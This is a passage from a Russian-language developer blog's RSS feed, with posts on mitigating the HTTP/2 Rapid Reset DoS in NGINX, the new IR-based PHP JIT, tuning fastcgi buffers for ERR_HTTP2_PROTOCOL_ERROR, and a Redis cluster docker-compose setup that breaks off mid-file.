).</p><p>Опираясь на лимит активности по умолчанию, NGINX предотвращает атаки такого типа. Создание дополнительных подключений для обхода этого ограничения выявляет злоумышленников с помощью стандартных инструментов мониторинга и оповещения уровня 4.</p><p>Однако если NGINX настроен с параметром поддержки активности, который значительно превышает значение по умолчанию и рекомендуемое значение, атака может истощить системные ресурсы. Когда происходит сброс потока, протокол HTTP/2 требует, чтобы никакие последующие данные не возвращались клиенту в этом потоке. Обычно сброс приводит к незначительной нагрузке на сервер в виде задач, которые корректно обрабатывают отмену. Однако обход порога потока NGINX позволяет клиенту воспользоваться этими издержками и усилить их, быстро инициируя тысячи потоков. Это приводит к резкому увеличению нагрузки на процессор сервера, отказывая в обслуживании законным клиентам.</p><img src="https://www.nginx.com/wp-content/uploads/2023/10/DIAG-NGINX-DoS-Attack-via-HTTP2-streams-1024x738-1.svg"><p><br><em>Отказ в обслуживании путем установления потоков HTTP/2 с последующей отменой потока при аномально высоких ограничениях активности.</em></p><h2>Шаги по снижению риска атак</h2><p>Будучи полнофункциональным сервером и прокси-сервером, NGINX предоставляет администраторам мощные инструменты для предотвращения атак типа «отказ в обслуживании». Чтобы воспользоваться этими функциями, важно внести следующие обновления в файлы конфигурации NGINX, чтобы минимизировать поверхность атаки сервера:</p><ul><li><p>Для параметра <a target="_blank" rel="noopener noreferrer nofollow" href="https://nginx.org/en/docs/http/ngx_http_core_module.html#keepalive_requests">keepalive_requests</a> следует оставить значение по умолчанию - 1000 запросов.</p></li><li><p>Для <a target="_blank" rel="noopener noreferrer nofollow" href="https://nginx.org/en/docs/http/ngx_http_v2_module.html#http2_max_concurrent_streams">http2_max_concurrent_streams</a> следует оставить значение по умолчанию - 128 потоков.</p></li></ul><p>Также рекомендуется добавить следующие меры безопасности в качестве передовой практики:</p><ul><li><p><a target="_blank" rel="noopener" href="https://nginx.org/en/docs/http/ngx_http_limit_conn_module.html">limit_conn</a> устанавливает ограничение на количество разрешенных подключений от одного клиента. Эту директиву следует добавить с разумной настройкой, обеспечивающей баланс между производительностью и безопасностью приложения.</p></li><li><p><a target="_blank" rel="noopener" href="https://nginx.org/en/docs/http/ngx_http_limit_req_module.html">limit_req</a> устанавливает ограничение на количество запросов, которые будут обработаны в течение заданного периода времени от одного клиента. Эту директиву следует добавить с разумной настройкой, обеспечивающей баланс между производительностью и безопасностью приложения.</p></li></ul><p>Чтобы обеспечить раннее обнаружение флуд-атак команда NGINX выпустила патч, для модуля ngx_http_v2_module, накладывающий ограничение на количество новых потоков, которые могут быть введены в один цикл событий. Этот предел устанавливается в два раза больше значения, настроенного с помощью директивы http2_max_concurrent_streams. Ограничение будет применено, даже если максимальный порог никогда не будет достигнут, например, когда потоки сбрасываются сразу после отправки запроса (как в случае с этой атакой).</p><p>Так же можно еще почитать дополнительную информацию о CVE-2023-44487 атаке с быстрым сбросом HTTP/2 <a target="_blank" rel="noopener noreferrer nofollow" href="https://www.cve.org/CVERecord?id=CVE-2023-44487">https://www.cve.org/CVERecord?id=CVE-2023-44487</a> .</p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/112</guid>
                <pubDate>2023-10-10T18:51:42+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Новый JIT-движок для PHP 8.4 и PHP 9]]></title>
                <link>https://sergeymukhin.com/blog/novyi-jit-dvizok-dlia-php-84-i-php-9</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Новый JIT-движок для PHP 8.4 и PHP 9</h1><blockquote>Дмитрий Стогов представил информацию о новом JIT-движке, который будет использоваться в следующих версиях PHP</blockquote><p>Как вы знаете <a href="https://sergeymukhin.com/blog/php-jit" target="_blank">JIT</a> появился в PHP 8.0 и представлял из себя&nbsp;компиляцию "на лету" - Just In Time, так же вы вероятно знаете, что PHP является интерпретируемым языком, он не компилирует программы в прямом смысле этого значения, как, например это делают C или Rust. </p><p>Чтобы <a href="https://sergeymukhin.com/blog/php-8-kak-vklyucit-jit" target="_blank">включить JIT</a> нужно было&nbsp;указать несколько параметров конфига&nbsp;php.ini.</p><h2>Новый JIT движок PHP</h2><p>Дмитрий Стогов, один из мейнтейнеров PHP поделился информацией в <a href="https://externals.io/message/121038" target="_blank">internal&nbsp;</a><span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);"><a href="https://externals.io/message/121038" target="_blank">рассылках</a></span><span style="letter-spacing: 0px; font-family: var(--bff);"><a href="https://externals.io/message/121038" target="_blank">&nbsp;PHP</a>&nbsp;о&nbsp;</span>новом JIT-движке, который будет использоваться в следующих&nbsp;<span style="letter-spacing: 0px; font-family: var(--bff);">мажорных версиях PHP. Теперь это настоящий оптимизирующий компилятор с промежуточным&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);">представлением, аналогичный серверному компилятору <a href="https://en.wikipedia.org/wiki/HotSpot_(virtual_machine)" target="_blank">Java HotSpot</a>.</span></p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Он создает основу для будущих улучшений и устраняет многие низкоуровневые&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);">детали существующего PHP JIT. Вместо поддержки ассемблерного кода для&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);">разных процессоров теперь PHP генерирует один IR и передает его&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);">независимому от PHP JIT-движку.</span></p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Старая реализация JIT будет сохранена на некоторое время.&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);">Все желающие могут просмотреть код&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);"><a href="https://github.com/php/php-src/pull/12079" target="_blank">https://github.com/php/php-src/pull/12079</a>.</span></p><p>Новая реализация JIT основана на <a href="https://github.com/dstogov/ir" target="_blank">IR-Lightweight&nbsp;</a><span style="letter-spacing: 0px; font-family: var(--bff);"><a href="https://github.com/dstogov/ir" target="_blank">JIT Compilation Framework</a>&nbsp;и в отличии</span>&nbsp;от старого JIT-подхода в PHP 8.*, который генерирует собственный код непосредственно из&nbsp;<span style="letter-spacing: 0px; font-family: var(--bff);">байт-кода PHP, эта реализация генерирует промежуточное представление (IR)&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);">и делегирует все задачи более низкого уровня в IR Framework. IR для JIT похож на&nbsp;</span>абстрактное синтаксическое дерево (<span style="font-family: var(--bff); letter-spacing: 0px;">AST) для компилятора.</span></p><p>По сравнению с классическими оптимизирующими компиляторами (такими как GCC и LLVM), IR Framework использует очень короткий конвейер оптимизации. В сочетании с компактным IR-представлением это делает его чрезвычайно быстрым и позволяет генерировать довольно хороший машинный код за разумное время.</p><h2>IR-пример</h2><p>Попробуем сгенерировать код для следующей функции:</p><pre class="line-numbers"><code class="language-c">int32_t mandelbrot(double x, double y)
{
	double cr = y - 0.5;
	double ci = x;
	double zi = 0.0;
	double zr = 0.0;
	int i = 0;

	while(1) {
		i++;
		double temp = zr * zi;
		double zr2 = zr * zr;
		double zi2 = zi * zi;
		zr = zr2 - zi2 + cr;
		zi = temp + temp + ci;
		if (zi2 + zr2 &gt; 16)
			return i;
		if (i &gt; 1000)
			return 0;
	}
	
}</code></pre><p>Это можно сделать через API построения IR с помощью следующего кода:</p><pre class="line-numbers"><code class="language-c">void gen_mandelbrot(ir_ctx *ctx)
{
	ir_START();
	ir_ref x = ir_PARAM(IR_DOUBLE, "x", 1);
	ir_ref y = ir_PARAM(IR_DOUBLE, "y", 2);
	ir_ref cr = ir_SUB_D(y, ir_CONST_DOUBLE(0.5));
	ir_ref ci = ir_COPY_D(x);
	ir_ref zi = ir_COPY_D(ir_CONST_DOUBLE(0.0));
	ir_ref zr = ir_COPY_D(ir_CONST_DOUBLE(0.0));
	ir_ref i = ir_COPY_D(ir_CONST_I32(0));

	ir_ref loop = ir_LOOP_BEGIN(ir_END());
		ir_ref zi_1 = ir_PHI_2(zi, IR_UNUSED);
		ir_ref zr_1 = ir_PHI_2(zr, IR_UNUSED);
		ir_ref i_1 = ir_PHI_2(i, IR_UNUSED);

		ir_ref i_2 = ir_ADD_I32(i_1, ir_CONST_I32(1));
		ir_ref temp = ir_MUL_D(zr_1, zi_1);
		ir_ref zr2 = ir_MUL_D(zr_1, zr_1);
		ir_ref zi2 = ir_MUL_D(zi_1, zi_1);
		ir_ref zr_2 = ir_ADD_D(ir_SUB_D(zr2, zi2), cr);
		ir_ref zi_2 = ir_ADD_D(ir_ADD_D(temp, temp), ci);
		ir_ref if_1 = ir_IF(ir_GT(ir_ADD_D(zi2, zr2), ir_CONST_DOUBLE(16.0)));
			ir_IF_TRUE(if_1);
				ir_RETURN(i_2);
			ir_IF_FALSE(if_1);
				ir_ref if_2 = ir_IF(ir_GT(i_2, ir_CONST_I32(1000)));
				ir_IF_TRUE(if_2);
					ir_RETURN(ir_CONST_I32(0));
				ir_IF_FALSE(if_2);
					ir_ref loop_end = ir_LOOP_END();

	/* close loop */
	ir_MERGE_SET_OP(loop, 2, loop_end);
	ir_PHI_SET_OP(zi_1, 2, zi_2);
	ir_PHI_SET_OP(zr_1, 2, zr_2);
	ir_PHI_SET_OP(i_1, 2, i_2);
}</code></pre><p>Текстовое представление IR после системной независимой оптимизации:</p><pre class="line-numbers"><code class="language-c">{
	uintptr_t c_1 = 0;
	bool c_2 = 0;
	bool c_3 = 1;
	double c_4 = 0.5;
	double c_5 = 0;
	int32_t c_6 = 0;
	int32_t c_7 = 1;
	double c_8 = 16;
	int32_t c_9 = 1000;
	l_1 = START(l_22);
	double d_2 = PARAM(l_1, "x", 1);
	double d_3 = PARAM(l_1, "y", 2);
	double d_4 = SUB(d_3, c_4);
	l_5 = END(l_1);
	l_6 = LOOP_BEGIN(l_5, l_29);
	double d_7 = PHI(l_6, c_5, d_28);
	double d_8 = PHI(l_6, c_5, d_26);
	int32_t d_9 = PHI(l_6, c_6, d_10);
	int32_t d_10 = ADD(d_9, c_7);
	double d_11 = MUL(d_8, d_8);
	double d_12 = MUL(d_7, d_7);
	double d_13 = ADD(d_12, d_11);
	bool d_14 = GT(d_13, c_8);
	l_15 = IF(l_6, d_14);
	l_16 = IF_TRUE(l_15);
	l_17 = RETURN(l_16, d_10);
	l_18 = IF_FALSE(l_15);
	bool d_19 = GT(d_10, c_9);
	l_20 = IF(l_18, d_19);
	l_21 = IF_TRUE(l_20);
	l_22 = RETURN(l_21, c_6, l_17);
	l_23 = IF_FALSE(l_20);
	double d_24 = MUL(d_7, d_8);
	double d_25 = SUB(d_11, d_12);
	double d_26 = ADD(d_25, d_4);
	double d_27 = ADD(d_24, d_24);
	double d_28 = ADD(d_27, d_2);
	l_29 = LOOP_END(l_23);
}</code></pre><p>Окончательно сгенерированный код:</p><pre class="line-numbers"><code class="language-c">test:
	subsd .L4(%rip), %xmm1
	xorpd %xmm3, %xmm3
	xorpd %xmm2, %xmm2
	xorl %eax, %eax
.L1:
	leal 1(%rax), %eax
	movapd %xmm2, %xmm4
	mulsd %xmm2, %xmm4
	movapd %xmm3, %xmm5
	mulsd %xmm3, %xmm5
	movapd %xmm5, %xmm6
	addsd %xmm4, %xmm6
	ucomisd .L5(%rip), %xmm6
	ja .L2
	cmpl $0x3e8, %eax
	jg .L3
	mulsd %xmm2, %xmm3
	subsd %xmm5, %xmm4
	movapd %xmm4, %xmm2
	addsd %xmm1, %xmm2
	addsd %xmm3, %xmm3
	addsd %xmm0, %xmm3
	jmp .L1
.L2:
	retq
.L3:
	xorl %eax, %eax
	retq
.rodata
.L4:
	.db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x3f
.L5:
	.db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x40</code></pre><p><span style="letter-spacing: 0px; font-family: var(--bff);">Визуализированный график:</span></p><p><img src="/files/blog/2023/novyi-jit-dvizok-dlia-php-84-i-php-9-2KCbOC.svg"><span style="letter-spacing: 0px; font-family: var(--bff);"><br></span></p><p><span style="font-family: var(--bff); letter-spacing: 0px; color: var(--xoxo-hc); font-size: 36px;">Ключевые преимущества новой реализации JIT</span></p><ul><li>Использование IR открывает возможности для лучшей оптимизации и&nbsp;<span style="letter-spacing: 0px; font-family: var(--bff);">распределения регистров (полученный собственный код более эффективен).&nbsp;</span></li><li><span style="letter-spacing: 0px; font-family: var(--bff);">PHP не нужно заботиться о большинстве деталей низкого уровня (различные процессоры,&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);">соглашения о вызовах, детали TLS и т. д.).</span></li><li>Гораздо проще реализовать поддержку новых целей (например, RISCV)</li><li>IR-фреймворк будет разрабатываться отдельно от PHP и может принимать&nbsp;<span style="letter-spacing: 0px; font-family: var(--bff);">вклад от других проектов (новые оптимизации, улучшения, исправления ошибок).</span></li></ul><h2>Недостатки&nbsp;новой реализации JIT</h2><p>К сожалению JIT-компиляция становится медленнее (это практически незаметно для tracing&nbsp;<span style="letter-spacing: 0px; font-family: var(--bff);">JIT, но function JIT-компиляция того же Wordpress становится в 4 раза медленнее)</span></p><h2><span style="letter-spacing: 0px; font-family: var(--bff);">В заключении</span></h2><p><span style="letter-spacing: 0px; font-family: var(--bff);">Новая реализация JIT успешно проходит все рабочие процессы CI, включая&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);">Nightly, но она еще не доработана и может вызывать сбои.&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);">Чтобы снизить риски, новый патч не удаляет старую реализацию JIT (то&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);">есть такую ​​же, как JIT PHP 8.3). Можно собрать PHP со старым JIT,&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);">настроив его с помощью --disable-opcache-jit-ir.&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);">В будущем старая реализация будет удалена.</span></p><p><span style="font-family: var(--bff); letter-spacing: 0px;">Спасибо Дмитрию за вновь проделанную&nbsp;</span><span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">колоссальную</span><span style="font-family: var(--bff); letter-spacing: 0px;">&nbsp;работу.</span></p>
<p><br></p><img src="https://sergeymukhin.com/images/blog/flyphant.png" style="float:left;"><p></p><p><br></p><p>Кстати, если вы еще не в нашем уютном телеграм канале "<a href="https://t.me/flyphp" target="_blank">Делаем из мухи слона</a>", то можете присоединиться к нам, ведь можно читать те же посты, но в вашем удобном мессенджере</p><p>&nbsp;</p><p></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/110</guid>
                <pubDate>2023-09-13T11:46:46+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Как исправить ошибку ERR_HTTP2_PROTOCOL_ERROR в браузере]]></title>
                <link>https://sergeymukhin.com/blog/kak-ispravit-osibku-err-http2-protocol-error-v-brauzere</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Как исправить ошибку ERR_HTTP2_PROTOCOL_ERROR в браузере</h1><blockquote>Если у вас на сайте периодически стали выдаваться ошибки ERR_HTTP2_PROTOCOL_ERROR по запросу ресурса, то милости прошу под кат</blockquote><p></p><p>Посты для категории <a href="https://sergeymukhin.com/blog/categoriya/zametki" target="_blank">Заметки</a>&nbsp;это наверное мои самые любимые посты) Потому что, обычно в них я пишу то, с чем сталкиваюсь периодически раз в год или два и&nbsp;<span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">сам забываю что сделал в прошлый раз для решения проблемы.</span><span style="letter-spacing: 0px; font-family: var(--bff);">&nbsp;</span></p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Так, ну раз вы сюда пришли из поисковика или просто читаете вышедший пост, как постоянный читатель :) то скорее всего имеете проблему возникновения ошибки ERR_HTTP2_PROTOCOL_ERROR в браузере, на сайте данная проблема выливается в неподгрузке ресурсов, будь то стили или скрипты, соотвественно визуально вы сразу понимаете, что что-то нето.</span></p><p>Идентифицировать ошибку можно в консоли браузера, для примера вот как-то так:</p><p><img src="/files/blog/2023/kak-ispravit-osibku-err-http2-protocol-error-v-brauzere-IcjcJW.png"></p><p>Если погуглить в интернете то многие сайты выдают стандартный набор советов, для простого пользователя, которые никак не касаются разработки:</p><ul><li>Очистить кэш браузера;</li><li>Отключить расширения;</li><li><span style="background-color: rgb(255, 255, 255);">Отключить QUIC;</span></li><li><span style="background-color: rgb(255, 255, 255);">Отключить средства защиты, типа антивирус или брандмауэр;</span></li><li><span style="letter-spacing: 0px; font-family: var(--bff);">Проверить корректную время и дату;</span></li><li>Включить VPN;</li><li>Обновить браузер;</li><li>и др.</li></ul><p>Сделать это, конечно можно, и проблема как пользователя возможно будет решена, но если вы разработчик/девопс и после деплоя приложения на сервере у вас возникает данная проблема (что как раз актуально в моем случае), то одними такими действиями вы себе не поможете, что в таком случае можно сделать:</p><p>В конфиге вашего виртуального хоста nginx есть такие&nbsp;<span style="font-family: sans-serif; font-size: medium; text-align: justify; background-color: rgb(255, 255, 255);">директивы (или определены по умолчанию)</span>:</p><pre class="line-numbers"><code class="language-nginx">fastcgi_buffer_size 4k;
fastcgi_buffers 8 4k;</code></pre><p>&nbsp;</p><blockquote><span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);"><a href="http://nginx.org/ru/docs/http/ngx_http_fastcgi_module.html#fastcgi_buffer_size" target="_blank">fastcgi_buffer_size</a> -&nbsp;</span>Задаёт размер буфера, в который будет читаться первая часть ответа, получаемого от FastCGI-сервера. В этой части ответа находится, как правило, небольшой заголовок ответа. По умолчанию размер одного буфера равен размеру страницы памяти. В зависимости от платформы это или 4K, или 8K, однако его можно сделать меньше.</blockquote><blockquote><span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);"><a href="http://nginx.org/ru/docs/http/ngx_http_fastcgi_module.html#fastcgi_buffers" target="_blank">fastcgi_buffers</a> -&nbsp;</span>Если буферизация включена, то nginx принимает ответ FastCGI-сервера как можно быстрее, сохраняя его в буферы, заданные директивами fastcgi_buffer_size и fastcgi_buffers. Если ответ не вмещается целиком в память, то его часть может быть записана на диск во временный файл. Запись во временные файлы контролируется директивами fastcgi_max_temp_file_size и fastcgi_temp_file_write_size.</blockquote><p><span style="letter-spacing: 0px; font-family: var(--bff);">Если буферизация выключена, то ответ синхронно передаётся клиенту сразу же по мере его поступления. nginx не пытается считать весь ответ FastCGI-сервера. Максимальный размер данных, который nginx может принять от сервера за один раз, задаётся директивой fastcgi_buffer_size.</span><br></p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Буферизация может быть также включена или выключена путём передачи значения “yes” или “no” в поле “X-Accel-Buffering” заголовка ответа. Эту возможность можно запретить с помощью директивы fastcgi_ignore_headers.</span></p><p><span style="font-family: var(--bff); letter-spacing: 0px;">Вот как раз нехватка размера буфера и приводит к данной ошибке </span>ERR_HTTP2_PROTOCOL_ERROR в ответ на запрос ресурсов.</p><p>Следовательно увеличив размера буфера, например x2:</p><pre class="line-numbers"><code class="language-nginx"> fastcgi_buffer_size 16k;
 fastcgi_buffers 8 16k;</code></pre><p>вероятность решения проблемы будет 99%. Повторять увеличивать, если проблема будет возвращаться.</p><h2>Как узнать параметры&nbsp;fastcgi_buffer_size и&nbsp;fastcgi_buffers</h2><p>Если вы хотите сделать более точную настройку данных директив, то можно узнать максимальный и средний размер пакетов поступающих на nginx и отталкиваясь от данной информации выставить правильные&nbsp; значения.</p><p>Максимальный размер:</p><pre class="line-numbers"><code class="language-powershell">awk '($9 ~ /200/)' access.log  | awk '{print $10}' | sort -nr | head -n 1</code></pre><p>Обратите внимание, что мы принимаем во внимание только ответ HTTP 200 OK.&nbsp;</p><p>Средний размер:</p><pre class="line-numbers"><code class="language-powershell">echo $(( `awk '($9 ~ /200/)' access.log | awk '{print $10}' | awk '{s+=$1} END {print s}'` / `awk '($9 ~ /200/)' access.log  | wc -l` ))</code></pre><p>Предположим у вас получились такие значения:</p><p>Максимальный <span style="font-weight: bold;">31345</span> байт (31К и округляем в ближайшую большую сторону <span style="font-weight: bold;">32К</span>)</p><p>Средний&nbsp;<span style="font-weight: bold;">6251</span> байт (6К и округляем до <span style="font-weight: bold;">8К</span>)&nbsp;</p><p>Следовательно ваши значения будут такими:</p><pre class="line-numbers"><code class="language-nginx">fastcgi_buffer_size 8k; #это значение закрывает среднюю потребность
fastcgi_buffers 4 8k; #это максимальную т.к. 4 * 8К = 32К</code></pre><p><br></p><p>Надеюсь этот пост вам помог решить вашу проблему, буду рад комментариям и вопросам.</p><p><br></p><img src="https://sergeymukhin.com/images/blog/flyphant.png" style="float:left;"><p></p><p><br></p><p>Кстати, если вы еще не в нашем уютном телеграм канале "<a href="https://t.me/flyphp" target="_blank">Делаем из мухи слона</a>", то можете присоединиться к нам, ведь можно читать те же посты, но в вашем удобном мессенджере</p><p>&nbsp;</p><p></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/107</guid>
                <pubDate>2023-08-25T10:40:24+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP Developer Roadmap]]></title>
                <link>https://sergeymukhin.com/blog/roadmap-php</link>
                <description><![CDATA[Альфа...в разработке]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/106</guid>
                <pubDate>2023-08-20T05:27:05+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Как использовать Redis Cluster для кэширования]]></title>
                <link>https://sergeymukhin.com/blog/kak-ispolzovat-redis-cluster-dlia-keshirovaniia</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Как использовать Redis Cluster для кэширования</h1><blockquote>В этом посте мы рассмотрим, как мы можем использовать Redis в качестве провайдера кеша для нашего приложения, и по мере дальнейшего изучения мы увидим, как кластер Redis может обеспечить нам большую масштабируемость и надежность</blockquote><h2><span style="letter-spacing: 0px; font-family: var(--bff);">Что такое Редис?</span></h2><p>Redis - это хранилище ключей и значений. Грубо говоря, оно работает точно так же, как база данных, но хранит свои данные в памяти, а это означает, что операции чтения и записи выполняются на несколько порядков быстрее по сравнению с реляционными базами данных, такими как MySQL и PostgreSQL. Важно отметить, что Redis не заменяет реляционную базу данных. У него есть свои варианты использования, и мы рассмотрим некоторые из них в этом посте.</p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Для получения дополнительной информации о Redis можете посетить их <a href="https://redis.io/" target="_blank">сайт</a>. Там вы найдете хорошую документацию и информацию о том, как работать с Redis. Тем не менее, в этом посте мы создадим демонстрацию и будем использовать интересную настройку с использованием Docker и docker-compose, которая запустит и настроит для вас весь кластер Redis. Единственное что вам нужно это Docker.</span><br></p><blockquote><p>Кстати, если вы уже знакомы с Redis и просто ищете способ развернуть полностью настроенный кластер Redis с помощью Docker, вот <a href="https://github.com/sinbadxiii/docker-redis-cluster" target="_blank">репозиторий Github.</a> Просто клонируйте репозиторий, зайдите в свой терминал, запустите, <span style="font-weight: bold;">docker-compose up</span> и все будет готово.</p></blockquote><p><img src="/files/blog/2023/kak-ispolzovat-redis-cluster-dlia-kesirovaniia-5lgI78.gif"></p><h2>Использование Redis для кэширования</h2><p>Всякий раз, когда нам нужен быстрый доступ к каким-либо данным, нам нужно подумать о способах хранения этих данных как можно ближе к прикладному уровню. Если объем данных достаточно мал, рекомендуется хранить эти данные в локальной памяти, чтобы иметь мгновенный доступ. Но когда мы говорим о веб-приложениях, особенно о тех, которые не сохраняют состояние и потенциально могут работать на нескольких серверах, мы не можем гарантировать, что нужные нам данные будут присутствовать, а также убедиться, что другие серверы в вашем кластере имеют быстрый доступ к эти же данные.</p><p>Вот где базы данных удобны. Мы можем записывать эти данные в центральное место, а другие серверы могут получать эти данные, когда им это нужно. Проблема с некоторыми базами данных заключается в том, что если вам действительно нужен молниеносно быстрый доступ, некоторые из них не смогут обеспечить это со скоростью пули. Redis обычно является базой данных, к которой нужно обращаться, когда вам нужен быстрый и надежный доступ к определенным битам данных. Он также предоставляет нам способы установить политики истечения срока действия для этих данных, чтобы они автоматически удалялись по истечении срока их действия.</p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Redis обычно является хорошим выбором для хранения:</span></p><ul><li>Сессии пользователей</li><li>Токены аутентификации</li><li>Лимиттеры - Счетчики ограничения скорости/доступа</li></ul><p>Redis ни в коем случае не ограничивается описанными выше вариантами использования, но они хорошо подходят, когда вам нужен быстрый доступ к данным, чаще всего при каждом запросе, поступающем через ваши серверы.</p><p><img src="/files/blog/2023/kak-ispolzovat-redis-cluster-dlia-keshirovaniia-Sb7Ftv.jpeg"></p><h2>Для чего нужно использовать Redis кластер?</h2><p>Обычно когда нагрузка на приложение небольшая - принято начинать с одного экземпляра сервера, возможно, подключенного к серверу базы данных, что может занять некоторое дополнительное время. Но когда вам нужно масштабировать приложение в разных странах, а иногда и на разных континентах, это, вероятно, означает, что ваше приложение должно быть доступно 24 часа в сутки, 7 дней в неделю. А надежность и устойчивость должны быть встроены в ваше приложение.</p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Вам нужно начать думать о том, что происходит, когда один из ваших серверов баз данных выходит из строя либо из-за проблемы в сети, либо из-за неисправного оборудования. Если у вас есть только один экземпляр, то скорее всего приложение будет недоступно некоторое время. И потребуется время снова запустить его в работу.</span><br></p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Если ваше приложение критически важно, в частности те же интернет-магазины, вы не можете позволить себе быть в оффлайн режиме в течение нескольких часов. Некоторые приложения не могут находиться в автономном режиме даже несколько минут. Именно здесь кластер с репликами может спасти вас, когда возникает подобная проблема.</span><br></p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Кластер Redis обеспечивает автоматический обмен данными между несколькими экземплярами Redis, что обеспечивает более высокий уровень надежности и доступности. Если в одном из этих экземпляров произойдет какой-либо сбой, другие узлы по-прежнему смогут нормально обслуживать контент для вашего приложения.</span><br></p><p>Так же кластеризация Redis на одном сервере позволит поднять несколько экземпляров Redis и решить проблему его однопоточности, в которую иногда упирается высоконагруженое приложение.</p><p><img src="/files/blog/2023/kak-ispolzovat-redis-cluster-dlia-kesirovaniia-HEqsKA.jpeg"></p><h2>Запуск кластера Redis</h2><p>Недавно мы уперлись в потолок нашего одного экземпляра Редиса, т.к. интернет-магазин, а помимо него еще и внутри корпоративная система слишком усердно "ддосили" редис и одного экземпляра стало уже мало, поэтому было принято решение перейти на кластер с несколькими сегментами, включая несколько реплик. Кстати до кластера мы попробовали форк KeyDB, который показал себя не с лучшей стороны в плане стабильности работы, после чего решили вернуться к редису, последней версии с несколькими инстансами. </p><p>Чтобы было проще поднять и убедиться, что мы можем поддерживать кластер Redis во время разработки, была создана установка нескольких контейнеров Redis и автоматическое подключение друг к другу для формирования кластера.</p><blockquote><span style="letter-spacing: 0px; font-family: var(--bff);">Вся настройка готова для вас в этом репозитории Github&nbsp;</span><a href="https://github.com/sinbadxiii/docker-redis-cluster" target="_blank" style="letter-spacing: 0px; font-family: var(--bff); font-weight: 400;">https://github.com/sinbadxiii/docker-redis-cluster</a><span style="letter-spacing: 0px; font-family: var(--bff);">, поэтому вам не нужно беспокоиться о создании чего-либо с нуля. Вы можете клонировать его и попробовать запустить, пока мы будет обсуждать пост дальше.</span></blockquote><h2><span style="letter-spacing: 0px; font-family: var(--bff);">Создание docker-compose.yml для Redis кластер</span></h2><p>По сути, конечно, мы будем использовать несколько одинаковых сервисов redis_# последних образов redis-latest. И только последний специальный контейнер redis_cluster&nbsp; будет отдавать команды Redis таким образом, чтобы он мог сформировать кластер:</p><p>Итак содержимое файла будем таким:</p><pre class="line-numbers"><code class="language-yaml">version: '3.3'

networks:
  network_redis_cluster:
    driver: bridge
    ipam:
      driver: default
      config:
        - subnet: 173.18.0.0/16

volumes:
  redis_1_data: {}
  redis_2_data: {}
  redis_3_data: {}
  redis_4_data: {}
  redis_5_data: {}
  redis_6_data: {}

services:
  redis_1:
    image: redis:latest
    restart: always
    container_name: redis_1
    sysctls:
      - net.core.somaxconn=65536
    ports:
      - "127.0.0.1:6381:6381"
      - "127.0.0.1:16381:16381"
    networks:
      network_redis_cluster:
        ipv4_address: 173.18.0.11
    command: "redis-server /usr/local/etc/redis/redis.conf"
    volumes:
      - redis_1_data:/data
      - ./redis_1/redis.conf:/usr/local/etc/redis/redis.conf

  redis_2:
    image: redis:latest
    restart: always
    container_name: redis_2
    sysctls:
      - net.core.somaxconn=65536
    networks:
      network_redis_cluster:
        ipv4_address: 173.18.0.12
    ports:
      - "127.0.0.1:6382:6382"
      - "127.0.0.1:16382:16382"
    volumes:
      - redis_2_data:/data
      - ./redis_2/redis.conf:/usr/local/etc/redis/redis.conf
    command: "redis-server /usr/local/etc/redis/redis.conf"

  redis_3:
    image: redis:latest
    restart: always
    container_name: redis_3
    sysctls:
      - net.core.somaxconn=65536
    networks:
      network_redis_cluster:
        ipv4_address: 173.18.0.13
    ports:
      - "127.0.0.1:6383:6383"
      - "127.0.0.1:16383:16383"
    volumes:
      - redis_3_data:/data
      - ./redis_3/redis.conf:/usr/local/etc/redis/redis.conf
    command: "redis-server /usr/local/etc/redis/redis.conf"

  redis_4:
    image: redis:latest
    restart: always
    container_name: redis_4
    sysctls:
      - net.core.somaxconn=65536
    networks:
      network_redis_cluster:
        ipv4_address: 173.18.0.14
    ports:
      - "127.0.0.1:6384:6384"
      - "127.0.0.1:16384:16384"
    volumes:
      - redis_4_data:/data
      - ./redis_4/redis.conf:/usr/local/etc/redis/redis.conf
    command: "redis-server /usr/local/etc/redis/redis.conf"

  redis_5:
    image: redis:latest
    restart: always
    container_name: redis_5
    sysctls:
      - net.core.somaxconn=65536
    networks:
      network_redis_cluster:
        ipv4_address: 173.18.0.15
    ports:
      - "127.0.0.1:6385:6385"
